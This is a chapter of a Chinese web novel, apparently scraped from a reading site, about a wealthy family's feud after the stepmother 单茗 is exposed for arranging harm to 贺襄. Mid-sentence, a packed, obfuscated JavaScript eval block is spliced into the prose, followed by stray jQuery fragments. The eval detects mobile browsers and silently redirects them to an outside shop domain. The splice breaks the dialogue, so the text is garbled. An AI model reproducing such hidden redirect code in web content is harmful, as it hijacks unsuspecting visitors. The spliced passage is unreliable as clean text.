起初,相关照片只寄到了贺家,收件人填的贺国真,送达了二天,贺家毫无动静,华咏章没耐心等下去了,转脸就把同样的资料寄到了孙家。
这一下的威力堪比核弹,孙家那边也没辜负她的期待,迅速闹到贺家去了。
华咏章随后就被“请”了去。
她寄照片的时候本来也没替自己遮掩,照片来自元平那儿,只要钱给够,他们很容易就查出来这是打哪来的。
何况这个时间,华咏章还怕他们看不到她呢,她的诉求很简单——想知道贺襄现在怎么样了。
结果去到才发现单茗被打到起不来身了。
动手的当然不是贺国真,更不是才得到消息的孙家,而是叫华咏章意外的贺蓉。
据说那日贺家收了快件,贺国真不在家,快递是贺钧拆开的。
本来贺蓉嫁了人以后很少回娘家,但一听说弟弟出了事,她近来跑娘家跑的比往日勤快数倍。
贺襄虽然不常回家,贺家却还是有他自小就住着的房间的,自从贺襄去了军队,这个房间一年里头其实住不了几次。贺襄去孙家住的日子都多过回贺家,但贺家这边的房子里却有一些重要的存货。
比如贺二夫人,贺襄生母陆苏的遗产,里头有几丸蜡封的“保命药丸”与奇珍药材。
贺蓉赶回去取东西,正撞见小弟拆了这送上门的“证据”。
如今弟弟躺在医院,尚昏迷不醒,生死未卜,她心中虽然对继母厌恶至极,也怀疑其中有她的手笔,却没想到她真的会恶毒至此,证据贴脸开大,由不得她再作他想。
看到照片的那一刹那,单茗在贺蓉心里几乎已经死了。
所以她恶向胆边生,起身回头,上去就给正假惺惺站在不远处的单茗甩了一个耳光。
毫无防备的单茗当场被打到耳鸣。
贺家的孩子里,贺蓉最肖父,明明是女儿身,体态也相对娇小,却生的一幅堪比男人的力气。
如此愤怒之下蓄力而为,又毫无阻碍的一巴掌,几乎把单茗打到当场“死机”。
平时她最会装柔弱,但当时她就不由自主的发出了一声下意识的惨叫。
贺钧只比贺蓉早半分钟看到那些“照片”,来不及毁尸灭迹,心先慌的手发颤。他自小就被他妈耳提面命,将来这个家都是他的,要跟哥哥争到底。
看到照片的第一反应,他其实呆住了。因为说归说,闹归闹,他一直挺崇拜他哥的。贺襄只比他大两岁,从小他就带贺钧玩,照顾他,但不知道什么时候起,他哥就开始疏远他了。
可能是他自己摔倒了在哭的时候,他哥过来哄他,被他妈逮住一顿不要分说的斥责,等他爸回来之后他妈又抹眼泪告状,他哥指定会被骂,他哥又倔,回嘴和挨打都是家常便饭。
也可能是他再哭起来,他哥远远的看着,不敢近前来,然后被他妈追着教育,再告状,于是挨打多了的他哥从小就和他爸不亲近,相对的,大姐贺蓉从小就没拿正眼看过他。
她咒骂过她妈,自然也没落下他,闹得最严重的时候,贺蓉直接离家出走去外祖家,这个家,她一天也待不下去了。
所以贺钧从记事起,就觉得大姐对他很仇视,哥哥还好,但也不爱搭理他,他妈天天念叨的那些,他不爱听,但总归觉得都是一家子嘛……
他妈妈那么柔弱的一个人,怎么会背地里指派杀手伤害哥哥呢?
贺钧没来得及消化这个爆炸信息,他大姐就先爆发了。
所幸贺蓉第一下打完,贺钧就清醒了,他跑过去挡在他妈身前:“大姐,这里面也许有什么误会……”
没有误会,不知道为什么,他在心里已经肯定了,事情是他妈做的。
他很痛苦,为什么呀?为什么我们一家不能相亲相爱呢?
这一瞬间,他想起好多次他妈几乎图穷匕见了,他还在边上找补:再怎么说,我们也是一家人啊。
贺蓉以往就没给过他什么好脸色,那时候单茗说她是嫉妒他——她嫉妒你有妈呗!
贺钧小时候哭过闹过,他觉得只要他哭了闹了,就要什么有什么,无论是新衣服,新玩具,还是父母的宠爱。但他无论怎么哭闹,他都没要来姐姐的真心和哥哥的接纳。
对,贺蓉是表面派,当着贺国真的面,她笑眯眯的喊他“小弟”,转过脸来,她看他的眼神就像一堆垃圾。贺襄则是硬刚派,他不给任何人好脸色,包括他爹,所以他挨打的次数,大约是贺蓉加上贺钧,再翻几倍的数量。
要不是贺国真几乎把贺襄打的爬不起来,孙家也没那么容易“接管”他。
这些年,他哥越叛逆,便衬托的他越乖巧,但随着他哥在军队做出的名堂越大,他爹背地里瞧他的眼神越失望:“小钧,你也学学你哥,你一个男孩子,要有男儿气概!”
他其实觉得自己还好,但架不住他妈先受不住了。就跟小时候的感觉一样,他妈妈对他大姐的敌意远没有对大哥来得深,在他妈看来,贺家的家业以后只有贺襄是他的竞争对手,嫁出去的贺蓉无视就行了。
这些年来,随着贺钧逐渐长大,来自贺蓉的恶意对他的攻击感在逐渐削弱,很大程度上是因为贺蓉嫁为人妇后鲜少回娘家,见面少了,矛盾仿佛自行化解,偶尔贺钧还会在姐夫在场的时候,收获他大姐的一点好脸色。另一方面则是贺钧认同他妈的那一套逻辑——贺蓉是个女人,以后贺家跟她没关系。
所以贺钧根本没想到他姐不装了是什么模样。
比如他根本没意识到,他挡到他妈跟前,刚说了一句话,就感觉自己被扇飞了。
贺蓉不愧是将门虎女,下手又快又准,打了两下便觉得手掌热辣辣的疼,她也没苦着自己,捞了一把客厅的楠木太师椅,觉得太重了,便上前一把扯过单茗的头发,用力的往边上的阔叶黄檀家具上撞。
对于单茗来说,那几分钟她度日如年,死去活来,但对贺蓉来说,她还没打过瘾。
家里的佣人一拥而上,抱手抱腿,还有贺钧在边上嚎啕大哭,很快就把贺国真招来了。
贺国真很快就了解了事情的来龙去脉,他黑着一张脸:“阿蓉,你既然嫁人了,家里的事就不要插手,何况你妈她知道错了……”
贺蓉早猜到他会这样说:“难怪阿襄不肯回来,你们一家子夫妻恩爱,父子情深,不就是我们俩多余吗?我们认了,但她千不该万不该,不该对阿襄动手!”
“也许是误会,你妈这些年操持这个家,没有功
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14120261|131610||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
劳也有苦劳,还被你们误会……”
贺蓉懒得跟他费口舌:“不用在这里扯这些,阿襄这次要是没挺过去,我会让她偿命的。”
贺家后来如何处理的,并没有传出了,华咏章见没什么动静,又给孙司令发了一份,她赌孙家还是在乎贺襄的。
至于她会被“请”去,也在意料之中。
孙司令拆开信件当天就查到她了,不出意外这是他第三次见到华咏章。
第一次还是去年夏天,他当时只看到长相似义女的华咏姝,对她身边那个瘦瘦小小的小姑娘印象不深。第二次是贺襄受伤那天,她半身是血坐在手术室外,看到他时毫不怯场,经人提醒他才知道这是案发现场同贺襄一起的小姑娘,贺襄的伤太重了,他没分出太多的神去注意她。
第三次见面,孙司令看着眼前的女孩陷入沉思。
她有一双很像陆苏的眼睛,这一年多来不知道她经历了什么,整个人宛如脱胎换骨一般,和他记忆中的那个没什么存在感的小女孩几乎没有重叠。
事后警卫员告诉他,以贺襄的身手还受伤那么严重,主要是因为他当时护着个人。不仅如此,他们还查到了事情的大概经过,最终得出结论:一切都是因为她。
若只是寻常的小打小闹,孙司令恐怕要拍手看戏,但连着收了两张病危通知书,转院后他极尽所能的动用关系,请了口碑最好的专家团会诊,最后得到贺襄可能会永远睡下去的结果。
孙司令不能接受,贺蓉也不能。
其实贺国真也接受不了,不听话归不听话,贺襄也是他的孩子。只是事已至此,他不能连小儿子也丢了,何况单茗哭着跟他认错,说自己只是被贺襄气的昏了头,冲动之下和朋友诉苦,是她朋友气不过,帮她策划着给贺襄一个“小教训”。
“我真的没想到,居然找到了一个这么丧心病狂的团伙!国真,你还不知道我吗?我连看人杀鸡都看不了啊,怎么会伤害贺襄呢,从我嫁给你的那一刻起,他们就也都是我的孩子……”单茗肿着半张脸,说话都大舌头,也没放弃为自己辩驳。
所以在孙家气势汹汹的找上门来时,贺国真又气又恨。
他被堵在自己家里,接受来自孙家的指控,当年娶了陆苏开始,他就没少受陆家那一帮子长辈的扶持,但这些年来贺国真官运亨通,步步高升,早就没了从前的谦卑心,他不喜欢贺襄,除了这个儿子不听话之外,就是他身后站了太多“长辈”。
从前他和陆苏有个口角,第二天便有数不完的“叔叔”们来“教育”他,无论是谁的错,最后都要是他的错。
所幸陆苏虽然刁蛮娇惯,但身体并不好,他很快就有了娶自己想娶的人的机会。
这些老家伙越是要给贺襄出头,他就越要打压他。很多时候贺襄不像他的孩子,更像他们博弈的棋子。
现在,他年富力强,这些“叔叔”们老的老,退的退,唯有孙家还□□着,贺国真不得不给孙司令面子,所以他深吸一口气,把目光落在现场唯一一个不用担心惹不起的人脸上:“又是你?你这个搅家精,别说贺襄现在还没醒,就算他好了,你也永远别想进我贺家的门!”
华咏章笑不出来了。
贺襄居然还没醒?